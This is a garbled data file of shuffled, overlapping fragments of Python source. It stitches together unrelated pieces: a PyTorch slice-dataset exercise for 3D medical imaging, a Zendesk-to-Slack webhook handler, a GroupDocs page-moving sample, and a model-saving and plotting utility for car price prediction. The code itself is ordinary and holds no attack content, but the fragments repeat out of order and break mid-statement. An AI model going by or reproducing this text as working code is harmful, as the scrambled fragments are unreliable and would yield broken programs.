"<reponame>ssheikh85/AIHCND_c3_3d_imaging \"\"\" Module for Pytorch dataset representations \"\"\" import torch",
"the \"sample\" dictionary, named \"image\" and \"seg\" # The values",
"and last two hold the voxel data from the respective",
"dimensions of the 3D Tensors. # Your tensor needs to",
"# TASK: Create two new keys in the \"sample\" dictionary,",
"caching strategy here if dataset is too large to fit",
"values are 3D Torch Tensors with image and label data",
"# <YOUR CODE GOES HERE> img = self.data[slc[0]][\"image\"][slc[1]] sample['image'] =",
"idx # You could implement caching strategy here if dataset",
"for i, d in enumerate(data): for j in range(d[\"image\"].shape[0]): self.slices.append((i,",
"def __init__(self, data): self.data = data self.slices = [] for",
"slc = self.slices[idx] sample = dict() sample[\"id\"] = idx #",
"so: arr[None, :] to add size-1 # dimension to a",
"idx Arguments: idx {int} -- id of sample Returns: Dictionary",
"# The values are 3D Torch Tensors with image and",
"PyTorch DataLoader class to return number of samples in the",
"First dimension is size 1, and last two hold the",
"[1, W, H] \"\"\" slc = self.slices[idx] sample = dict()",
"array # and the slice number are in the slc",
"data from the respective # slices. Write code that stores",
"Tensors of dimensions [1, W, H] \"\"\" slc = self.slices[idx]",
"fit # in memory entirely # Also this would be",
"respective # slices. Write code that stores the 2D slice",
"last two hold the voxel data from the respective #",
"shape [1, patch_size, patch_size] # Don't forget that you need",
"[] for i, d in enumerate(data): for j in range(d[\"image\"].shape[0]):",
"\"\"\" Module for Pytorch dataset representations \"\"\" import torch from",
"dict() sample[\"id\"] = idx # You could implement caching strategy",
"the place to call transforms if data augmentation is used",
"Torch Tensors with image and label data respectively. # First",
"representations \"\"\" import torch from torch.utils.data import Dataset class SlicesDataset(Dataset):",
"-- id of sample Returns: Dictionary of 2 Torch Tensors",
"patch_size, patch_size] # Don't forget that you need to put",
"from torch.utils.data import Dataset class SlicesDataset(Dataset): \"\"\" This class represents",
"with id idx Arguments: idx {int} -- id of sample",
"Dictionary of 2 Torch Tensors of dimensions [1, W, H]",
"is too large to fit # in memory entirely #",
"sample Returns: Dictionary of 2 Torch Tensors of dimensions [1,",
"two hold the voxel data from the respective # slices.",
"stores the 2D slice data in the last 2 dimensions",
"Arguments: idx {int} -- id of sample Returns: Dictionary of",
"be of shape [1, patch_size, patch_size] # Don't forget that",
"DataLoader class \"\"\" def __init__(self, data): self.data = data self.slices",
"Tensor into your dictionary element's value # Hint: your 3D",
"this would be the place to call transforms if data",
"value # Hint: your 3D data sits in self.data variable,",
"from data array # and the slice number are in",
"__getitem__(self, idx): \"\"\" This method is called by PyTorch DataLoader",
"# in memory entirely # Also this would be the",
"3D Tensors. # Your tensor needs to be of shape",
"dictionary element's value # Hint: your 3D data sits in",
"data array # and the slice number are in the",
"slice number are in the slc variable. # Hint2: You",
"<YOUR CODE GOES HERE> img = self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:])",
"DataLoader class to return number of samples in the dataset",
"# and the slice number are in the slc variable.",
"by the PyTorch DataLoader class \"\"\" def __init__(self, data): self.data",
"def __getitem__(self, idx): \"\"\" This method is called by PyTorch",
"idx): \"\"\" This method is called by PyTorch DataLoader class",
"self.slices.append((i, j)) def __getitem__(self, idx): \"\"\" This method is called",
"of shape [1, patch_size, patch_size] # Don't forget that you",
"Tensors with image and label data respectively. # First dimension",
"# First dimension is size 1, and last two hold",
"class SlicesDataset(Dataset): \"\"\" This class represents an indexable Torch dataset",
"DataLoader class to return a sample with id idx Arguments:",
"Hint2: You can use None notation like so: arr[None, :]",
"in enumerate(data): for j in range(d[\"image\"].shape[0]): self.slices.append((i, j)) def __getitem__(self,",
"\"sample\" dictionary, named \"image\" and \"seg\" # The values are",
"voxel data from the respective # slices. Write code that",
"number of samples in the dataset Returns: int \"\"\" return",
"in the \"sample\" dictionary, named \"image\" and \"seg\" # The",
"that stores the 2D slice data in the last 2",
"that you need to put a Torch Tensor into your",
"Numpy array # <YOUR CODE GOES HERE> img = self.data[slc[0]][\"image\"][slc[1]]",
"memory entirely # Also this would be the place to",
"of samples in the dataset Returns: int \"\"\" return len(self.slices)",
"an indexable Torch dataset which could be consumed by the",
"represents an indexable Torch dataset which could be consumed by",
"could be consumed by the PyTorch DataLoader class \"\"\" def",
"augmentation is used # TASK: Create two new keys in",
"and \"seg\" # The values are 3D Torch Tensors with",
"method is called by PyTorch DataLoader class to return a",
"size 1, and last two hold the voxel data from",
"the respective # slices. Write code that stores the 2D",
"3D Torch Tensors with image and label data respectively. #",
"Hint: your 3D data sits in self.data variable, the id",
"the 3D volume from data array # and the slice",
"Your tensor needs to be of shape [1, patch_size, patch_size]",
"need to put a Torch Tensor into your dictionary element's",
"variable, the id of the 3D volume from data array",
"= torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:]) return sample",
"# Also this would be the place to call transforms",
"are in the slc variable. # Hint2: You can use",
"id of the 3D volume from data array # and",
"3D volume from data array # and the slice number",
"dataset representations \"\"\" import torch from torch.utils.data import Dataset class",
"= idx # You could implement caching strategy here if",
"Torch Tensors of dimensions [1, W, H] \"\"\" slc =",
"number are in the slc variable. # Hint2: You can",
"of sample Returns: Dictionary of 2 Torch Tensors of dimensions",
"data sits in self.data variable, the id of the 3D",
"\"\"\" slc = self.slices[idx] sample = dict() sample[\"id\"] = idx",
"= self.slices[idx] sample = dict() sample[\"id\"] = idx # You",
"if data augmentation is used # TASK: Create two new",
"into your dictionary element's value # Hint: your 3D data",
"to a Numpy array # <YOUR CODE GOES HERE> img",
"to return number of samples in the dataset Returns: int",
"the PyTorch DataLoader class \"\"\" def __init__(self, data): self.data =",
"place to call transforms if data augmentation is used #",
"= [] for i, d in enumerate(data): for j in",
"for Pytorch dataset representations \"\"\" import torch from torch.utils.data import",
"[1, patch_size, patch_size] # Don't forget that you need to",
"to be of shape [1, patch_size, patch_size] # Don't forget",
"self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:])",
"# Your tensor needs to be of shape [1, patch_size,",
"= self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:]) return sample def __len__(self): \"\"\"",
"two new keys in the \"sample\" dictionary, named \"image\" and",
"torch from torch.utils.data import Dataset class SlicesDataset(Dataset): \"\"\" This class",
"dataset is too large to fit # in memory entirely",
"used # TASK: Create two new keys in the \"sample\"",
"\"image\" and \"seg\" # The values are 3D Torch Tensors",
"# slices. Write code that stores the 2D slice data",
"# dimension to a Numpy array # <YOUR CODE GOES",
"for j in range(d[\"image\"].shape[0]): self.slices.append((i, j)) def __getitem__(self, idx): \"\"\"",
"the slice number are in the slc variable. # Hint2:",
"self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:]) return sample def __len__(self): \"\"\" This",
"torch.from_numpy(seg[None,:]) return sample def __len__(self): \"\"\" This method is called",
"the last 2 dimensions of the 3D Tensors. # Your",
"id of sample Returns: Dictionary of 2 Torch Tensors of",
"__init__(self, data): self.data = data self.slices = [] for i,",
"self.slices[idx] sample = dict() sample[\"id\"] = idx # You could",
"the voxel data from the respective # slices. Write code",
"sits in self.data variable, the id of the 3D volume",
"in the slc variable. # Hint2: You can use None",
"variable. # Hint2: You can use None notation like so:",
"class represents an indexable Torch dataset which could be consumed",
"2 Torch Tensors of dimensions [1, W, H] \"\"\" slc",
"transforms if data augmentation is used # TASK: Create two",
"# Hint2: You can use None notation like so: arr[None,",
"d in enumerate(data): for j in range(d[\"image\"].shape[0]): self.slices.append((i, j)) def",
"sample = dict() sample[\"id\"] = idx # You could implement",
"too large to fit # in memory entirely # Also",
"data respectively. # First dimension is size 1, and last",
"tensor needs to be of shape [1, patch_size, patch_size] #",
"array # <YOUR CODE GOES HERE> img = self.data[slc[0]][\"image\"][slc[1]] sample['image']",
"by PyTorch DataLoader class to return a sample with id",
"= dict() sample[\"id\"] = idx # You could implement caching",
"volume from data array # and the slice number are",
"Module for Pytorch dataset representations \"\"\" import torch from torch.utils.data",
"self.data variable, the id of the 3D volume from data",
"label data respectively. # First dimension is size 1, and",
"which could be consumed by the PyTorch DataLoader class \"\"\"",
"i, d in enumerate(data): for j in range(d[\"image\"].shape[0]): self.slices.append((i, j))",
"Write code that stores the 2D slice data in the",
"from the respective # slices. Write code that stores the",
"to add size-1 # dimension to a Numpy array #",
"2D slice data in the last 2 dimensions of the",
"call transforms if data augmentation is used # TASK: Create",
"slc variable. # Hint2: You can use None notation like",
"\"\"\" import torch from torch.utils.data import Dataset class SlicesDataset(Dataset): \"\"\"",
"called by PyTorch DataLoader class to return number of samples",
"method is called by PyTorch DataLoader class to return number",
"SlicesDataset(Dataset): \"\"\" This class represents an indexable Torch dataset which",
"in self.data variable, the id of the 3D volume from",
"slice data in the last 2 dimensions of the 3D",
"consumed by the PyTorch DataLoader class \"\"\" def __init__(self, data):",
"of the 3D volume from data array # and the",
"in the last 2 dimensions of the 3D Tensors. #",
"entirely # Also this would be the place to call",
"You can use None notation like so: arr[None, :] to",
"size-1 # dimension to a Numpy array # <YOUR CODE",
"to call transforms if data augmentation is used # TASK:",
"put a Torch Tensor into your dictionary element's value #",
"sample[\"id\"] = idx # You could implement caching strategy here",
"the slc variable. # Hint2: You can use None notation",
"dimension to a Numpy array # <YOUR CODE GOES HERE>",
"Torch Tensor into your dictionary element's value # Hint: your",
"return sample def __len__(self): \"\"\" This method is called by",
"image and label data respectively. # First dimension is size",
"strategy here if dataset is too large to fit #",
"1, and last two hold the voxel data from the",
"to put a Torch Tensor into your dictionary element's value",
"id idx Arguments: idx {int} -- id of sample Returns:",
"be the place to call transforms if data augmentation is",
"Dataset class SlicesDataset(Dataset): \"\"\" This class represents an indexable Torch",
"new keys in the \"sample\" dictionary, named \"image\" and \"seg\"",
"keys in the \"sample\" dictionary, named \"image\" and \"seg\" #",
"class \"\"\" def __init__(self, data): self.data = data self.slices =",
"# Don't forget that you need to put a Torch",
"PyTorch DataLoader class to return a sample with id idx",
"Also this would be the place to call transforms if",
"torch.utils.data import Dataset class SlicesDataset(Dataset): \"\"\" This class represents an",
"\"\"\" This class represents an indexable Torch dataset which could",
"range(d[\"image\"].shape[0]): self.slices.append((i, j)) def __getitem__(self, idx): \"\"\" This method is",
"and the slice number are in the slc variable. #",
"HERE> img = self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]]",
"forget that you need to put a Torch Tensor into",
"is size 1, and last two hold the voxel data",
"you need to put a Torch Tensor into your dictionary",
"can use None notation like so: arr[None, :] to add",
"j)) def __getitem__(self, idx): \"\"\" This method is called by",
"This class represents an indexable Torch dataset which could be",
"def __len__(self): \"\"\" This method is called by PyTorch DataLoader",
"dimensions [1, W, H] \"\"\" slc = self.slices[idx] sample =",
"a sample with id idx Arguments: idx {int} -- id",
"element's value # Hint: your 3D data sits in self.data",
"You could implement caching strategy here if dataset is too",
"data): self.data = data self.slices = [] for i, d",
"dimension is size 1, and last two hold the voxel",
"code that stores the 2D slice data in the last",
"and label data respectively. # First dimension is size 1,",
"of the 3D Tensors. # Your tensor needs to be",
"notation like so: arr[None, :] to add size-1 # dimension",
"# Hint: your 3D data sits in self.data variable, the",
"GOES HERE> img = self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:]) seg =",
"is used # TASK: Create two new keys in the",
"the 3D Tensors. # Your tensor needs to be of",
"a Numpy array # <YOUR CODE GOES HERE> img =",
"CODE GOES HERE> img = self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:]) seg",
"by PyTorch DataLoader class to return number of samples in",
"in range(d[\"image\"].shape[0]): self.slices.append((i, j)) def __getitem__(self, idx): \"\"\" This method",
"enumerate(data): for j in range(d[\"image\"].shape[0]): self.slices.append((i, j)) def __getitem__(self, idx):",
"# You could implement caching strategy here if dataset is",
"Returns: Dictionary of 2 Torch Tensors of dimensions [1, W,",
"None notation like so: arr[None, :] to add size-1 #",
"are 3D Torch Tensors with image and label data respectively.",
"{int} -- id of sample Returns: Dictionary of 2 Torch",
"the id of the 3D volume from data array #",
"in memory entirely # Also this would be the place",
"PyTorch DataLoader class \"\"\" def __init__(self, data): self.data = data",
"import Dataset class SlicesDataset(Dataset): \"\"\" This class represents an indexable",
"\"\"\" def __init__(self, data): self.data = data self.slices = []",
"seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg'] = torch.from_numpy(seg[None,:]) return sample def __len__(self):",
"dataset which could be consumed by the PyTorch DataLoader class",
"return number of samples in the dataset Returns: int \"\"\"",
"j in range(d[\"image\"].shape[0]): self.slices.append((i, j)) def __getitem__(self, idx): \"\"\" This",
"return a sample with id idx Arguments: idx {int} --",
"last 2 dimensions of the 3D Tensors. # Your tensor",
"to return a sample with id idx Arguments: idx {int}",
"Tensors. # Your tensor needs to be of shape [1,",
"the 2D slice data in the last 2 dimensions of",
"3D data sits in self.data variable, the id of the",
"img = self.data[slc[0]][\"image\"][slc[1]] sample['image'] = torch.from_numpy(img[None,:]) seg = self.data[slc[0]][\"seg\"][slc[1]] sample['seg']",
"if dataset is too large to fit # in memory",
"import torch from torch.utils.data import Dataset class SlicesDataset(Dataset): \"\"\" This",
"data augmentation is used # TASK: Create two new keys",
"use None notation like so: arr[None, :] to add size-1",
"called by PyTorch DataLoader class to return a sample with",
"idx {int} -- id of sample Returns: Dictionary of 2",
"sample['seg'] = torch.from_numpy(seg[None,:]) return sample def __len__(self): \"\"\" This method",
"to fit # in memory entirely # Also this would",
"respectively. # First dimension is size 1, and last two",
"is called by PyTorch DataLoader class to return number of"
] |
[
"update the comments with lastest from Zendesk. \"\"\" comments_from_zendesk(event, slack_client,",
"\"\"\"Handle Zendesk Comment Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client):",
"lastest from Zendesk. \"\"\" comments_from_zendesk(event, slack_client, zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle",
"class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment Events. \"\"\" def handle_event(self, event,",
"issue and create it on slack. \"\"\" email_from_zendesk(event, slack_client, zendesk_client)",
"created issue and create it on slack. \"\"\" email_from_zendesk(event, slack_client,",
"zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email Events. \"\"\" def handle_event(self,",
"POSTed. Recover and update the comments with lastest from Zendesk.",
"zendesk_client): \"\"\"Handle an email created issue and create it on",
"from zenslackchat.zendesk_base_webhook import BaseWebHook from zenslackchat.zendesk_email_to_slack import email_from_zendesk from zenslackchat.zendesk_comments_to_slack",
"been POSTed. Recover and update the comments with lastest from",
"Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle the comment",
"import BaseWebHook from zenslackchat.zendesk_email_to_slack import email_from_zendesk from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk",
"and update the comments with lastest from Zendesk. \"\"\" comments_from_zendesk(event,",
"with lastest from Zendesk. \"\"\" comments_from_zendesk(event, slack_client, zendesk_client) class EmailWebHook(BaseWebHook):",
"event, slack_client, zendesk_client): \"\"\"Handle an email created issue and create",
"\"\"\"Handle an email created issue and create it on slack.",
"the comments with lastest from Zendesk. \"\"\" comments_from_zendesk(event, slack_client, zendesk_client)",
"Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle an email",
"we have been POSTed. Recover and update the comments with",
"comments with lastest from Zendesk. \"\"\" comments_from_zendesk(event, slack_client, zendesk_client) class",
"\"\"\"Handle the comment trigger event we have been POSTed. Recover",
"\"\"\" comments_from_zendesk(event, slack_client, zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email Events.",
"Comment Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle the",
"slack_client, zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email Events. \"\"\" def",
"email created issue and create it on slack. \"\"\" email_from_zendesk(event,",
"comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment Events. \"\"\" def handle_event(self,",
"from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment Events.",
"BaseWebHook from zenslackchat.zendesk_email_to_slack import email_from_zendesk from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class",
"have been POSTed. Recover and update the comments with lastest",
"Email Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle an",
"comments_from_zendesk(event, slack_client, zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email Events. \"\"\"",
"handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle an email created issue and",
"Zendesk Email Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle",
"import comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment Events. \"\"\" def",
"def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle the comment trigger event",
"event, slack_client, zendesk_client): \"\"\"Handle the comment trigger event we have",
"zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment Events. \"\"\"",
"class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email Events. \"\"\" def handle_event(self, event,",
"\"\"\"Handle Zendesk Email Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client):",
"\"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle an email created",
"email_from_zendesk from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment",
"from zenslackchat.zendesk_email_to_slack import email_from_zendesk from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class CommentsWebHook(BaseWebHook):",
"comment trigger event we have been POSTed. Recover and update",
"zenslackchat.zendesk_base_webhook import BaseWebHook from zenslackchat.zendesk_email_to_slack import email_from_zendesk from zenslackchat.zendesk_comments_to_slack import",
"\"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle the comment trigger",
"zendesk_client): \"\"\"Handle the comment trigger event we have been POSTed.",
"from Zendesk. \"\"\" comments_from_zendesk(event, slack_client, zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk",
"def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle an email created issue",
"slack_client, zendesk_client): \"\"\"Handle an email created issue and create it",
"zenslackchat.zendesk_email_to_slack import email_from_zendesk from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle",
"import email_from_zendesk from zenslackchat.zendesk_comments_to_slack import comments_from_zendesk class CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk",
"trigger event we have been POSTed. Recover and update the",
"Zendesk Comment Events. \"\"\" def handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle",
"CommentsWebHook(BaseWebHook): \"\"\"Handle Zendesk Comment Events. \"\"\" def handle_event(self, event, slack_client,",
"EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email Events. \"\"\" def handle_event(self, event, slack_client,",
"Recover and update the comments with lastest from Zendesk. \"\"\"",
"an email created issue and create it on slack. \"\"\"",
"slack_client, zendesk_client): \"\"\"Handle the comment trigger event we have been",
"the comment trigger event we have been POSTed. Recover and",
"event we have been POSTed. Recover and update the comments",
"Zendesk. \"\"\" comments_from_zendesk(event, slack_client, zendesk_client) class EmailWebHook(BaseWebHook): \"\"\"Handle Zendesk Email",
"handle_event(self, event, slack_client, zendesk_client): \"\"\"Handle the comment trigger event we"
] |
[
"= \"Output/move-pages.docx\" options.page_number = 1 options.new_page_number = 2 result =",
"to move document page to a new position class MovePage:",
"2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output file path = \" +",
"position class MovePage: @classmethod def Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options",
"def Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions() options.file_info =",
"= 2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output file path = \"",
"= groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\" options.page_number = 1 options.new_page_number =",
"\"Output/move-pages.docx\" options.page_number = 1 options.new_page_number = 2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options))",
"modules import groupdocs_merger_cloud from Common import Common # This example",
"= 1 options.new_page_number = 2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output file",
"options.output_path = \"Output/move-pages.docx\" options.page_number = 1 options.new_page_number = 2 result",
"options.new_page_number = 2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output file path =",
"= groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path =",
"groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\" options.page_number = 1",
"import Common # This example demonstrates how to move document",
"options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\" options.page_number = 1 options.new_page_number",
"MovePage: @classmethod def Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions()",
"new position class MovePage: @classmethod def Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig())",
"Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\")",
"Common # This example demonstrates how to move document page",
"<reponame>groupdocs-merger-cloud/groupdocs-merger-cloud-python-samples # Import modules import groupdocs_merger_cloud from Common import Common",
"= groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\" options.page_number =",
"This example demonstrates how to move document page to a",
"example demonstrates how to move document page to a new",
"options.page_number = 1 options.new_page_number = 2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output",
"pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path",
"groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\"",
"# Import modules import groupdocs_merger_cloud from Common import Common #",
"document page to a new position class MovePage: @classmethod def",
"page to a new position class MovePage: @classmethod def Run(cls):",
"demonstrates how to move document page to a new position",
"how to move document page to a new position class",
"# This example demonstrates how to move document page to",
"a new position class MovePage: @classmethod def Run(cls): pagesApi =",
"@classmethod def Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options = groupdocs_merger_cloud.MoveOptions() options.file_info",
"import groupdocs_merger_cloud from Common import Common # This example demonstrates",
"options = groupdocs_merger_cloud.MoveOptions() options.file_info = groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\" options.page_number",
"1 options.new_page_number = 2 result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output file path",
"groupdocs_merger_cloud.FileInfo(\"WordProcessing/four-pages.docx\") options.output_path = \"Output/move-pages.docx\" options.page_number = 1 options.new_page_number = 2",
"result = pagesApi.move(groupdocs_merger_cloud.MoveRequest(options)) print(\"Output file path = \" + result.path)",
"from Common import Common # This example demonstrates how to",
"Common import Common # This example demonstrates how to move",
"groupdocs_merger_cloud from Common import Common # This example demonstrates how",
"move document page to a new position class MovePage: @classmethod",
"class MovePage: @classmethod def Run(cls): pagesApi = groupdocs_merger_cloud.PagesApi.from_config(Common.GetConfig()) options =",
"Import modules import groupdocs_merger_cloud from Common import Common # This",
"to a new position class MovePage: @classmethod def Run(cls): pagesApi"
] |
[
"print(y_pred) from sklearn.metrics import r2_score r2_score(y_test,y_pred) pred_y_df=pd.DataFrame({'Actual Value':y_test,'Predicted Value':y_pred, 'Difference':",
"sklearn.metrics import r2_score r2_score(y_test,y_pred) pred_y_df=pd.DataFrame({'Actual Value':y_test,'Predicted Value':y_pred, 'Difference': y_test-y_pred}) pred_y_df[0:20]",
"from sklearn.metrics import r2_score r2_score(y_test,y_pred) pred_y_df=pd.DataFrame({'Actual Value':y_test,'Predicted Value':y_pred, 'Difference': y_test-y_pred})",
"y_pred=ml.predict(x_test) print(y_pred) from sklearn.metrics import r2_score r2_score(y_test,y_pred) pred_y_df=pd.DataFrame({'Actual Value':y_test,'Predicted Value':y_pred,"
] |
[
"\"/features_importance.png\" ) def plot_trees(rf, feature_names, target_names, model_id): \"\"\"GENERATES A PLOT",
"json.decoder.JSONDecodeError: print(\"cannot save evaluation metadata\") def generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES",
"+ model_id + \"/Trees.png\") def get_id_list(N=6): print (os.getcwd()) print([x[0] for",
"in importances_indices] importances = pd.DataFrame( [tree.feature_importances_ for tree in model.estimators_],",
"PLOT DESCRIBING FEATURES IMPORTANCE FOR THE MODEL TO MAKE THE",
"target columns model_id (str): unique id of the model \"\"\"",
"<reponame>Soufiane-Fartit/cars-prices<filename>src/models/utils_func.py # -*- coding: utf-8 -*- \"\"\" This module offers",
"used in other modules \"\"\" from datetime import datetime import",
"we trained the model model_id (str): the unique id of",
"data=pd.melt(importances)) figure = ax.get_figure() figure.savefig( \"models/models-training/run_\" + model_id + \"/features_importance.png\"",
"PREDICTION. Args: model (tree-based model): a tree based model (decision",
"), \"At least the model id or name must be",
"get_id_list(N=6): print (os.getcwd()) print([x[0] for x in os.walk(\"../../models/models-training\")]) return [x[0][-N:]",
"id of the model \"\"\" fn = feature_names cn =",
"target_names, model_id): \"\"\"GENERATES A PLOT THAT SHOWS THE DECISION MAKING",
"importances = pd.DataFrame( [tree.feature_importances_ for tree in model.estimators_], columns=features.columns, )",
"is not None or model_name is not None ), \"At",
"(str): model name = \"model_\"+model_id+\".pkl\" model (binary): binary file of",
"\"\".join(random.choice(chars) for _ in range(size)) def save_model(path, model): \"\"\"SAVE MODEL",
"is not None, \"You must specify the path to the",
"the model to be saved \"\"\" with open(path, \"wb\") as",
"FILE FOR THE SPECIFIED MODEL Args: models_hist_path (str): path to",
"of the model \"\"\" mean_importances = model.feature_importances_ importances_indices = np.argsort(mean_importances)[::-1]",
"forest ...) feature_names (list): names of the columns of the",
"model (binary): binary file of the model params (dict): dictionnary",
"outfile: try: hist = json.load(outfile) hist[model_name] = model_metadata outfile.seek(0) json.dump(hist,",
"THE DECISION MAKING OF THE TREES Args: rf (model): a",
"\"model_\"+model_id+\".pkl\" model (binary): binary file of the model params (dict):",
"on which we trained the model model_id (str): the unique",
"to fit the model \"\"\" model_metadata = dict() model_metadata[\"trained\"] =",
"THAT SHOWS THE DECISION MAKING OF THE TREES Args: rf",
"in other modules \"\"\" from datetime import datetime import os",
"save_model(path, model): \"\"\"SAVE MODEL INTO PICKLE FILE Args: path (str):",
"STRING TO BE USED AS AN ID Args: size (int,",
"used to generate the string. Defaults to string.ascii_lowercase+string.digits. Returns: [str]:",
"as outfile: try: hist = json.load(outfile) hist[model_name] = model_metadata outfile.seek(0)",
"outfile.seek(0) json.dump(hist, outfile, indent=4) except json.decoder.JSONDecodeError: print(\"cannot save evaluation metadata\")",
"generate the string. Defaults to string.ascii_lowercase+string.digits. Returns: [str]: a random",
"file\" if not model_name: model_name = \"model_\" + model_id +",
"a table of the features on which we trained the",
"plt import seaborn as sns from sklearn import tree def",
"the model \"\"\" model_metadata = dict() model_metadata[\"trained\"] = str(datetime.now()) model_metadata[\"model_type\"]",
"(binary): binary file of the model params (dict): dictionnary containing",
"is not None ), \"At least the model id or",
"IMPORTANCE FOR THE MODEL TO MAKE THE PREDICTION. Args: model",
"Args: path (str): path where to save the model model",
"(tree-based model): a tree based model (decision tree, random forest",
"numpy as np import pandas as pd from matplotlib import",
"unique id of the model model_name (str): model name =",
"= type(model).__name__ model_metadata[\"model_id\"] = model_id model_metadata[\"params\"] = params print(model_metadata) with",
"model_metadata}, outfile, indent=4) def update_history_add_eval( models_hist_path, model_id=None, model_name=None, metrics=None ):",
"be saved \"\"\" with open(path, \"wb\") as file: pickle.dump(model, file)",
"(os.getcwd()) print([x[0] for x in os.walk(\"../../models/models-training\")]) return [x[0][-N:] for x",
"Args: model (tree-based model): a tree based model (decision tree,",
"model model_name (str): model name = \"model_\"+model_id+\".pkl\" model (binary): binary",
"save evaluation metadata\") def generate_features_importance_plot(model, features, model_id): \"\"\"GENERATES A PLOT",
"of the string. Defaults to 6. chars (str, optional): charachters",
"= dict() eval_metadata[\"datetime\"] = str(datetime.now()) eval_metadata[\"metrics\"] = metrics with open(models_hist_path,",
"be given\" assert models_hist_path is not None, \"You must specify",
"except json.decoder.JSONDecodeError: print(\"cannot save evaluation metadata\") def generate_features_importance_plot(model, features, model_id):",
"\"\"\" fn = feature_names cn = target_names fig, axes =",
